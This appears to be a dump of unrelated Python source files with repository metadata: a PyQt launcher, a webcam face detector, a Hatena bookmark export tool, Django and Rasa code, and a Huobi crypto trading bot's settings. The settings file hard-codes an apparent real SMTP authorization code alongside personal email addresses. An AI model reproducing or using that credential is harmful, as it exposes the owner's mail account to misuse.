| 2023-02-05T07:40:58.260798 | 2023-01-27T09:39:09 | 2023-01-27T09:39:09 | 69,860,536 | 7 | 3 | null | 2021-04-07T14:17:07 | 2016-10-03T10:20:46 |
Mathematica
|
UTF-8
|
Python
| false | false | 1,027 |
py
|
import os
import sys
# if os.environ['COMPUTERNAME'] == "ASTECDELL10":
# print 'port'
# sys.path.append(os.getcwd())
# sys.path.append('\\\\apclara1\\ControlRoomApps\\Controllers\\bin\\stage')
# else:
# print 'desk'
# sys.path.append('\\\\apclara1\\ControlRoomApps\\Controllers\\bin\\stage')
from PyQt4 import QtGui
from controllers.main_controller import main_controller
# os.environ["EPICS_CA_AUTO_ADDR_LIST"] = "NO"
# os.environ["EPICS_CA_ADDR_LIST"] = "10.10.0.12"# 192.168.83.255"
# os.environ["EPICS_CA_MAX_ARRAY_BYTES"] = "10000000"
# os.environ["EPICS_CA_SERVER_PORT"] = "6000"
class bpm_calibrate(QtGui.QApplication):
def __init__(self, argv):
# you need this init line here to instantiate a QTApplication
QtGui.QApplication.__init__(self, argv)
# Everything else is handled by a main _controller
self.controller = main_controller(argv, config_file='bpm_calibrate.config')
if __name__ == '__main__':
print('Starting bpm_calibrate Application')
app = bpm_calibrate(sys.argv)
sys.exit(app.exec_())
|
[
"alexander.brynes@stfc.ac.uk"
] |
alexander.brynes@stfc.ac.uk
|
ac273704ce38a56c8a94723b4e4938cb94fe8e5b
|
f0b1503b1206f3a00cf3ff4b8e66e3617805943c
|
/Strategies/PlayerMoveCountStrategy.py
|
83e9c40161187f5cdd01acb0f3e61d653a2878d4
|
[] |
no_license
|
JohnTheTechie/BoardGame_Py
|
79163fe94f42b968efd47af5ce5df44b6e19267b
|
b705360a09c5aa8f45cee9065637686cf9910488
|
refs/heads/master
| 2020-05-15T10:52:32.436982 | 2019-08-01T17:28:31 | 2019-08-01T17:28:31 | 182,206,071 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 470 |
py
|
from Enumerations.Types import MovementCountQueueingStrategyType as MType
from Error import InvalidMovementStrategyError
class MoveCountStrategy:
strategyType = None
def __init__(self, type = None):
if type is None:
raise InvalidMovementStrategyError
else:
self.strategyType = type
class SnakePlayerDestCellRetentionPolicy:
'''
defines the logic used for deciding the final move of the player object
'''
|
[
"janakiraman3394@gmail.com"
] |
janakiraman3394@gmail.com
|
d389fc075dd4f2cfd395d8712b085a5ab1caccea
|
9a97090ee3da5beeb2513bd18319aae1cbafa6c1
|
/0_detect_face_rectangle.py
|
b4522386c42ea5f4d40b26f25be45d7fd9db975a
|
[] |
no_license
|
hwmrocker/face_swap
|
71186f7a06fcd9294813814af480ffc4fffce7b7
|
da4e1b7eebb467600ed1d9b4a01a1059875a4d3b
|
refs/heads/master
| 2020-04-08T20:50:49.278422 | 2018-11-29T19:37:26 | 2018-11-29T19:37:26 | 159,717,727 | 0 | 0 | null | 2018-11-29T19:36:01 | 2018-11-29T19:36:01 | null |
UTF-8
|
Python
| false | false | 854 |
py
|
import cv2
import dlib
import numpy as np
RESIZE_HEIGHT = 360
detector = dlib.get_frontal_face_detector()
predictor = dlib.shape_predictor("shape_predictor_68_face_landmarks.dat")
cap = cv2.VideoCapture(0)
while True:
ret, img = cap.read()
if not ret:
continue
height, width = img.shape[:2]
IMAGE_RESIZE = np.float32(height) / RESIZE_HEIGHT
img = cv2.resize(
img,
None,
fx=1.0 / IMAGE_RESIZE,
fy=1.0 / IMAGE_RESIZE,
interpolation=cv2.INTER_LINEAR,
)
try:
det = max(detector(img), key=lambda r: r.area())
except Exception as e:
print(e)
else:
cv2.rectangle(
img, (det.left(), det.top()), (det.right(), det.bottom()), (0, 0, 255), 2
)
cv2.imshow("detect face 0", img)
if cv2.waitKey(1) & 0xFF == 27:
break
|
[
"sylwek1992@gmail.com"
] |
sylwek1992@gmail.com
|
3d644a725c08ea9daec3f528f66eb863207dbfdd
|
961a80c0982e988f3fcad9e8f8825bd19bd206c7
|
/hatebu-dump
|
fbbfd64e24a8948c481132bbe3e525176864d1fc
|
[
"BSD-2-Clause"
] |
permissive
|
fuktommy/homebin
|
c7a57e60e94dfbde459bf175f64642460abce307
|
7c4176b734d8dc421a64c45815142e789687d934
|
refs/heads/master
| 2023-08-05T16:18:19.354060 | 2023-07-30T23:57:45 | 2023-07-30T23:57:45 | 3,526,871 | 2 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 4,252 |
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
"""Hatena Bookmark Dump Tool.
This tool export logged in user's all hatena bookmarks.
Usage: hatebu-dump username output.xml
This script refered id:ymotongpoo's WSSE client.
http://d.hatena.ne.jp/ymotongpoo/20081201/1228115936
http://code.google.com/p/0x7d8/source/browse/trunk/ymotongpoo/APIs/WSSE.py
The WSSE client released under Apache License 2.0.
http://www.apache.org/licenses/LICENSE-2.0
"""
#
# Copyright (c) 2009 Satoshi Fukutomi <info@fuktommy.com>.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# 1. Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE AUTHORS AND CONTRIBUTORS ``AS IS'' AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.
#
# $Id$
#
import base64
import optparse
import os.path
import socket
import sys
import threading
import time
import urllib
from datetime import datetime
from getpass import getpass
from random import random
from sha import sha
__author__ = 'Fuktommy'
__version__ = '$Revision$'
VERSION = __version__[11:-1].strip()
class WsseHeader:
"""WSSE authorized HTTP Request Header.
This class refered id:ymotongpoo's WSSE client.
"""
def __init__(self, userid, password):
self.userid = userid
self.password = password
def create_header_token(self):
nonce = sha(str(time.time() + random())).digest()
nonce64 = base64.encodestring(nonce).strip()
created = datetime.utcnow().isoformat() + 'Z'
passdigest = sha(nonce + created + self.password).digest()
pass64 = base64.encodestring(passdigest).strip()
wsse = ('UsernameToken Username="%(u)s", PasswordDigest="%(p)s",'
+ ' Nonce="%(n)s", Created="%(c)s"')
value = {'u': self.userid, 'p': pass64, 'n': nonce64, 'c': created}
return wsse % value
def get_request_header(self):
return [('X-WSSE', self.create_header_token()),
('Authorization', 'WSSE profile="UsernameToken"')]
def get_request_header(username, password):
ret = WsseHeader(username, password).get_request_header()
ret.append(('User-Agent', 'Hatebu-Dump/' + VERSION))
return ret
def is_unauthorized(err):
return (isinstance(err.args, tuple)
and (len(err.args) >= 3)
and (err.args[2] == 'Unauthorized'))
def main():
if len(sys.argv) != 3:
sys.exit('Usage: hatebu-dump username output.xml')
username = sys.argv[1]
output = sys.argv[2]
url = 'http://b.hatena.ne.jp/dump'
if os.path.exists(output):
sys.exit('file exists: %s' % output)
password = getpass('Password:')
agent = urllib.URLopener()
socket.setdefaulttimeout(900)
buf = None
while True:
try:
agent.addheaders = get_request_header(username, password)
print agent.addheaders
con = agent.open(url)
print con.info()
buf = con.read()
break
except Exception, err:
print err
if is_unauthorized(err):
break
time.sleep(60)
if buf:
file(output, 'wb').write(buf)
if __name__ == '__main__':
main()
|
[
"info@fuktommy.com"
] |
info@fuktommy.com
|
|
f3a07f02268fdfe27b330e612e8b7945659aa549
|
77c7c1bb838fe3c7972e1fd54aab21ce50da0654
|
/bhp045/apps/cancer_subject/models/subject_off_study_mixin.py
|
5d0ff6fbd5c6fd21124adcf8aafec5f26650affd
|
[] |
no_license
|
botswana-harvard/cancer
|
394124fe4cb8ae5e03ca70842a13e20220201be9
|
410cdd637d1da5b9d5081da02697eb1d03ae0984
|
refs/heads/master
| 2021-01-21T18:24:58.316116 | 2017-05-22T13:11:05 | 2017-05-22T13:11:05 | 92,045,682 | 1 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 236 |
py
|
from edc.subject.off_study.mixins.off_study_mixin import OffStudyMixin
class SubjectOffStudyMixin(OffStudyMixin):
def get_off_study_cls(self):
from .subject_off_study import SubjectOffStudy
return SubjectOffStudy
|
[
"leslie.kep@gmail.com"
] |
leslie.kep@gmail.com
|
22f3c7b2b8b5269b2eb652875ca6d336ee7a6cec
|
60ff43d265665bcea865723af91e44d641b5fd17
|
/Datamanager/migrations/0041_auto__add_bundlepicture.py
|
6af00bc6d067b38e40ee3e10f6a2efaf7fea37b3
|
[] |
no_license
|
Adnn/Collecster_OLD
|
62714a29a07e0b9733b704439cda071e87b8240e
|
43dc3bd791f19be4134eb931134e03d40c7872be
|
refs/heads/master
| 2021-06-23T18:53:57.912176 | 2020-10-22T09:11:29 | 2020-10-22T09:18:06 | 130,383,298 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 17,528 |
py
|
# -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'BundlePicture'
db.create_table('Datamanager_bundlepicture', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('bundle', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['Datamanager.Bundle'])),
('image', self.gf('django.db.models.fields.files.ImageField')(max_length=100)),
))
db.send_create_signal('Datamanager', ['BundlePicture'])
def backwards(self, orm):
# Deleting model 'BundlePicture'
db.delete_table('Datamanager_bundlepicture')
models = {
'Datamanager.accessory': {
'Meta': {'object_name': 'Accessory', '_ormbases': ['Datamanager.Release']},
'colors': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['Datamanager.Color']", 'symmetrical': 'False'}),
'compatible_platforms': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['Datamanager.Platform']", 'symmetrical': 'False'}),
'force_feedback': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'loose': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'quantity': ('django.db.models.fields.PositiveIntegerField', [], {'default': '1'}),
'region': ('django.db.models.fields.CharField', [], {'max_length': '2', 'blank': 'True'}),
'release_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['Datamanager.Release']", 'unique': 'True', 'primary_key': 'True'}),
'rumble_feedback': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'wireless': ('django.db.models.fields.BooleanField', [], {'default': 'False'})
},
'Datamanager.accessoryspecifics': {
'Meta': {'object_name': 'AccessorySpecifics'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'instance': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Instance']", 'unique': 'True'}),
'working': ('django.db.models.fields.CharField', [], {'default': "u'?'", 'max_length': '1'})
},
'Datamanager.attribute': {
'Meta': {'ordering': "('category', 'name')", 'object_name': 'Attribute'},
'category': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.AttributeCategory']"}),
'description': ('django.db.models.fields.CharField', [], {'max_length': '120', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'implicit': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '60'}),
'tipe': ('django.db.models.fields.CharField', [], {'max_length': '3'})
},
'Datamanager.attributecategory': {
'Meta': {'object_name': 'AttributeCategory'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '60'})
},
'Datamanager.bundle': {
'Meta': {'object_name': 'Bundle'},
'acquisition_date': ('django.db.models.fields.DateField', [], {}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'Datamanager.bundlecomposition': {
'Meta': {'object_name': 'BundleComposition'},
'bundle': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Bundle']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'instance': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Instance']", 'unique': 'True'})
},
'Datamanager.bundlepicture': {
'Meta': {'object_name': 'BundlePicture'},
'bundle': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Bundle']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100'})
},
'Datamanager.buying': {
'Meta': {'object_name': 'Buying', '_ormbases': ['Datamanager.Bundle']},
'bundle_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['Datamanager.Bundle']", 'unique': 'True', 'primary_key': 'True'}),
'context': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.BuyingContext']"}),
'location': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Location']", 'null': 'True', 'blank': 'True'}),
'price': ('django.db.models.fields.FloatField', [], {}),
'shipping_cost': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'})
},
'Datamanager.buyingcontext': {
'Meta': {'object_name': 'BuyingContext'},
'category': ('django.db.models.fields.CharField', [], {'max_length': '3'}),
'complement': ('django.db.models.fields.CharField', [], {'max_length': '60', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'location': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Location']", 'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '60'})
},
'Datamanager.color': {
'Meta': {'object_name': 'Color'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'Datamanager.combopack': {
'Meta': {'object_name': 'ComboPack', '_ormbases': ['Datamanager.Release']},
'company': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Company']", 'null': 'True', 'blank': 'True'}),
'region': ('django.db.models.fields.CharField', [], {'max_length': '2', 'blank': 'True'}),
'related_platforms': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['Datamanager.Platform']", 'symmetrical': 'False'}),
'release_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['Datamanager.Release']", 'unique': 'True', 'primary_key': 'True'})
},
'Datamanager.company': {
'Meta': {'object_name': 'Company'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '60'})
},
'Datamanager.concept': {
'Meta': {'object_name': 'Concept'},
'category': ('django.db.models.fields.CharField', [], {'max_length': '20'}),
'common_name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '60'}),
'company': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Company']", 'null': 'True', 'blank': 'True'}),
'complete_name': ('django.db.models.fields.CharField', [], {'max_length': '180', 'unique': 'True', 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'Datamanager.console': {
'Meta': {'object_name': 'Console', '_ormbases': ['Datamanager.Release']},
'color': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Color']"}),
'constructor': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Company']", 'null': 'True', 'blank': 'True'}),
'implemented_platforms': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['Datamanager.Platform']", 'symmetrical': 'False'}),
'loose': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'region': ('django.db.models.fields.CharField', [], {'max_length': '2'}),
'release_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['Datamanager.Release']", 'unique': 'True', 'primary_key': 'True'}),
'version': ('django.db.models.fields.CharField', [], {'max_length': '20', 'null': 'True', 'blank': 'True'})
},
'Datamanager.consolespecifics': {
'Meta': {'object_name': 'ConsoleSpecifics'},
'copy_modded': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'instance': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Instance']", 'unique': 'True'}),
'region_modded': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'working': ('django.db.models.fields.CharField', [], {'default': "u'?'", 'max_length': '1'})
},
'Datamanager.donation': {
'Meta': {'object_name': 'Donation', '_ormbases': ['Datamanager.Bundle']},
'bundle_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['Datamanager.Bundle']", 'unique': 'True', 'primary_key': 'True'}),
'donator': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Person']"})
},
'Datamanager.game': {
'Meta': {'object_name': 'Game', '_ormbases': ['Datamanager.Release']},
'loose': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'platform': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Platform']"}),
'publisher': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Company']", 'null': 'True', 'blank': 'True'}),
'region': ('django.db.models.fields.CharField', [], {'max_length': '2'}),
'release_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['Datamanager.Release']", 'unique': 'True', 'primary_key': 'True'})
},
'Datamanager.gamespecifics': {
'Meta': {'object_name': 'GameSpecifics'},
'blister': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'instance': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Instance']", 'unique': 'True'}),
'working': ('django.db.models.fields.CharField', [], {'default': "u'?'", 'max_length': '1'})
},
'Datamanager.instance': {
'Meta': {'object_name': 'Instance'},
'add_date': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'instanciated_release': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Release']"}),
'lastmodif_date': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'notes': ('django.db.models.fields.CharField', [], {'max_length': '180', 'blank': 'True'}),
'origin': ('django.db.models.fields.CharField', [], {'max_length': '2'}),
'owner': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Person']"}),
'price': ('django.db.models.fields.FloatField', [], {'null': 'True', 'blank': 'True'}),
'tag': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'blank': 'True'})
},
'Datamanager.instanceattribute': {
'Meta': {'object_name': 'InstanceAttribute'},
'attribute': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Attribute']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'instance': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Instance']"}),
'value': ('django.db.models.fields.CharField', [], {'max_length': '60', 'blank': 'True'})
},
'Datamanager.instancecomposition': {
'Meta': {'object_name': 'InstanceComposition'},
'container_instance': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'container_instance'", 'to': "orm['Datamanager.Instance']"}),
'element_instance': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Instance']", 'unique': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'Datamanager.instancepicture': {
'Meta': {'object_name': 'InstancePicture'},
'attribute': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Attribute']", 'null': 'True', 'blank': 'True'}),
'detail': ('django.db.models.fields.CharField', [], {'default': "u'GRP'", 'max_length': '3'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100'}),
'instance': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Instance']"})
},
'Datamanager.location': {
'Meta': {'object_name': 'Location'},
'city': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '60', 'blank': 'True'}),
'country': ('django.db.models.fields.CharField', [], {'max_length': '2'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'Datamanager.person': {
'Meta': {'object_name': 'Person'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '60'})
},
'Datamanager.platform': {
'Meta': {'object_name': 'Platform'},
'abbreviated': ('django.db.models.fields.CharField', [], {'max_length': '8', 'unique': 'True', 'null': 'True', 'blank': 'True'}),
'arcade': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'brand': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Company']"}),
'canonical_platform': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Platform']", 'null': 'True', 'blank': 'True'}),
'generation': ('django.db.models.fields.PositiveIntegerField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'})
},
'Datamanager.release': {
'Meta': {'object_name': 'Release'},
'attribute': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['Datamanager.Attribute']", 'symmetrical': 'False', 'blank': 'True'}),
'date': ('django.db.models.fields.DateField', [], {'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'immaterial': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '60', 'blank': 'True'}),
'realised_concept': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Concept']"}),
'specificity_text': ('django.db.models.fields.CharField', [], {'max_length': '60', 'blank': 'True'})
},
'Datamanager.releasecomposition': {
'Meta': {'object_name': 'ReleaseComposition'},
'container_release': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'container_release'", 'to': "orm['Datamanager.Release']"}),
'element_release': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Release']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
'Datamanager.specificity': {
'Meta': {'object_name': 'Specificity'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '60', 'blank': 'True'})
},
'Datamanager.specificitycomposition': {
'Meta': {'object_name': 'SpecificityComposition'},
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'release': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Release']"}),
'specificity': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['Datamanager.Specificity']"}),
'value': ('django.db.models.fields.CharField', [], {'max_length': '60'})
}
}
complete_apps = ['Datamanager']
|
[
"Adnn@users.noreply.github.com"
] |
Adnn@users.noreply.github.com
|
6abde58c2c7813da0693cc6347cd6916351e7fd8
|
4c2def4621865535d36e6beb605691a6d53628d4
|
/ask_weather/action.py
|
af6d79fd48a1e8ad45ce006213b73d645d5dcce1
|
[] |
no_license
|
liaozhihui/work
|
4485722c73a796c25896bb083d84d0e4f79e05c5
|
61a11d591875e17818b1b303d3552818441efafc
|
refs/heads/master
| 2020-07-16T17:04:07.788674 | 2019-09-02T10:13:28 | 2019-09-02T10:13:28 | 205,828,908 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 328 |
py
|
from rasa_core_sdk import Action
from rasa_core_sdk.events import SlotSet
class ActionAskWeather(Action):
def name(self):
return 'action_ask_weather'
def run(self, dispatcher, tracker, domain):
dispatcher.utter_message(f'ๆจ้ฎ็ๅคฉๆฐๅฐ็นๆฏๅช้ๅข')
return [SlotSet('city', 'ๆทฑๅณ')]
|
[
"1581627402@qq.com"
] |
1581627402@qq.com
|
c6f943d940cd40e4cd75f8a423317573ce368af9
|
6c70ddb651a0396b7777c446ee4c8b2469cc58cd
|
/config/settings.py
|
bb44c7f06535fc982b7f080e8093e8413fc21efa
|
[] |
no_license
|
Mike1218/TradeRobot
|
7632d318e0767f4ef695e7f2fd2475e47a7c99cc
|
860483cb8febe659bb9596d44136daa9732c2db1
|
refs/heads/master
| 2020-09-04T13:11:07.937029 | 2018-07-18T06:36:37 | 2018-07-18T06:36:37 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 2,905 |
py
|
import datetime
import sys
import logging
# ๆฅๅฟ้
็ฝฎๆไปถ
from copy import deepcopy
# ๆญคๅคๅกซๅAPIKEY
ACCESS_KEY = " "
SECRET_KEY = " "
# ็จๆทID(็ซๅธ็ฝไธชไบบไธญๅฟๅฏ็)
ACCOUNT_ID = None
_filename = None
_format = "%(asctime)-15s [%(levelname)s] [%(name)s] %(message)s"
_datefmt = "%Y/%m/%d %H:%M:%S"
_level = logging.INFO
if _filename:
handlers = [logging.StreamHandler(sys.stdout), logging.FileHandler(_filename)]
else:
handlers = [logging.StreamHandler(sys.stdout)]
logging.basicConfig(format=_format, datefmt=_datefmt, level=_level, handlers=handlers)
# ็ฎๅๆฅ่ฏข็$symbolๅไธบ๏ผ<่ดงๅธ>USTD (ๅฏ้๏ผ{ USDT, BTC })
# ๆถ้ด้ด้ๅไธบ1min(ๅฏ้๏ผ{ 1min, 5min, 15min, 30min, 60min, 1day, 1mon, 1week, 1year })
SYMBOL = "USDT"
PERIOD = "1min"
# ่ฎก็ฎnๅ้ๅ
็ๆถจ่ทๅน
N_MINUTES_STATE = 10
# ๅฝ่พพๅฐไปฅไธๅผ๏ผๅๅบ่ญฆๆฅ้็ฅ๏ผ่งฆๅไธไธๆญฅๅจไฝ
PRICE_ALERT_INCREASE_POINT = 1.25
PRICE_ALERT_DECREASE_POINT = -1.25
# ไนฐๅ
ฅๅๅๅบ็ญ็ฅ็ฎๅๅๆญปๅจไปฃ็ ้
# ๅๅบ็ญ็ฅ - ่พพๅฐPRICE_ALERT_DECREASE_POINTๆถ
# ไปฅๅฝๆถ็ๆไบคไปทๆ ผๅๅบ๏ผๅฆๆ่ฟ็ง่ดงๅธไธบ้ๅน
ๆๅฐไธคไธชไนไธ๏ผๅ็ญๅพ
ไธๅๅบ
# ไนฐๅ
ฅ็ญ็ฅ - ่พพๅฐPRICE_ALERT_INCREASE_POINTๆถ
# ไปฅ60%ๅ40%็ๆฏไพๅๅซไนฐๆถจไปทๆ้ซ/ๆฌก้ซ็
# ่ฎพๅฎๅ่่ดงๅธ็็ฑปๅ๏ผๆ้ๅๅๅง้ป่ฎคๆฅๆ็่ดงๅธๆฐ้
COINS = {
"BTC": {
"WEIGHT": 1,
"AMOUNT": 0
},
"BCH": {
"WEIGHT": 1,
"AMOUNT": 0
},
"ETH": {
"WEIGHT": 1,
"AMOUNT": 0
},
"LTC": {
"WEIGHT": 1,
"AMOUNT": 0
},
"XRP": {
"WEIGHT": 1,
"AMOUNT": 0
},
"DASH": {
"WEIGHT": 1,
"AMOUNT": 0
},
"ETC": {
"WEIGHT": 1,
"AMOUNT": 0
},
"EOS": {
"WEIGHT": 1,
"AMOUNT": 0
},
"OMG": {
"WEIGHT": 1,
"AMOUNT": 0
}
}
# ็จๆทๅฝๅUSDT่ดฆๆทไฝ้ข
USDT_CURRENCY = 0
# ๅคไปฝๅๅงCOIN/CURRENCYๆฐๆฎ๏ผไฝๅฏนๆฏ็จ
ORIGINAL_USDT_CURRENCY = USDT_CURRENCY
ORIGINAL_COINS = deepcopy(COINS)
ORIGINAL_WEALTH = None
# ๅฐไป็ซๅธไธ่ทๅๅฐ็ไบคๆไฟกๆฏไฟๅญๅฐๆฐๆฎๅบ(mongodb)
DATABASE_RECORD = False
# ้
็ฝฎไปฅไธ้กน็ฎไปฅๅๅงๅๆฐๆฎๅบ
DATABASE_SERVER_ADDRESS = None
DATABASE_SERVER_PORT = 27017
DATABASE_NAME = "huobi_exchange"
# ่ฟ้็ๆจกๆ่ตทๆญขไป
็จไบๆฐๆฎๅบไบคๆๆจกๆๅๆ
SIMULATE_START = datetime.datetime(2017, 12, 1, 0, 0, 0)
SIMULATE_END = datetime.datetime.now()
# ๅฆๆๆฐๆฎๅบๆ็จๆทๅ/ๅฏ็ ๏ผๅๅฎไนๅฆไธ
DATABASE_SERVER_USERNAME = None
DATABASE_SERVER_PASSWORD = None
# ้ฎไปถ้็ฅ๏ผ้
็ฝฎSMTP๏ผ่ทๅๅ
ถAuthCodeๅณๅฏๅ้้ฎไปถ
MAIL_ACCOUNT = "710777350@qq.com"
MAIL_AUTH_CODE = "famqcgmaidkkbdgc"
MAIL_RECEIPIENTS = ["ahbbhywmd@163.com"]
# API ่ฏทๆฑๅฐๅ
MARKET_URL = "https://api.huobipro.com"
TRADE_URL = "https://api.huobipro.com"
|
[
"ahbbhywmd@163.com"
] |
ahbbhywmd@163.com
|
f3bc5f10e099056351a6bf8d8cae5b6d5e494f82
|
2e34b181fb568955309af16993a3ccac2eb8d5f3
|
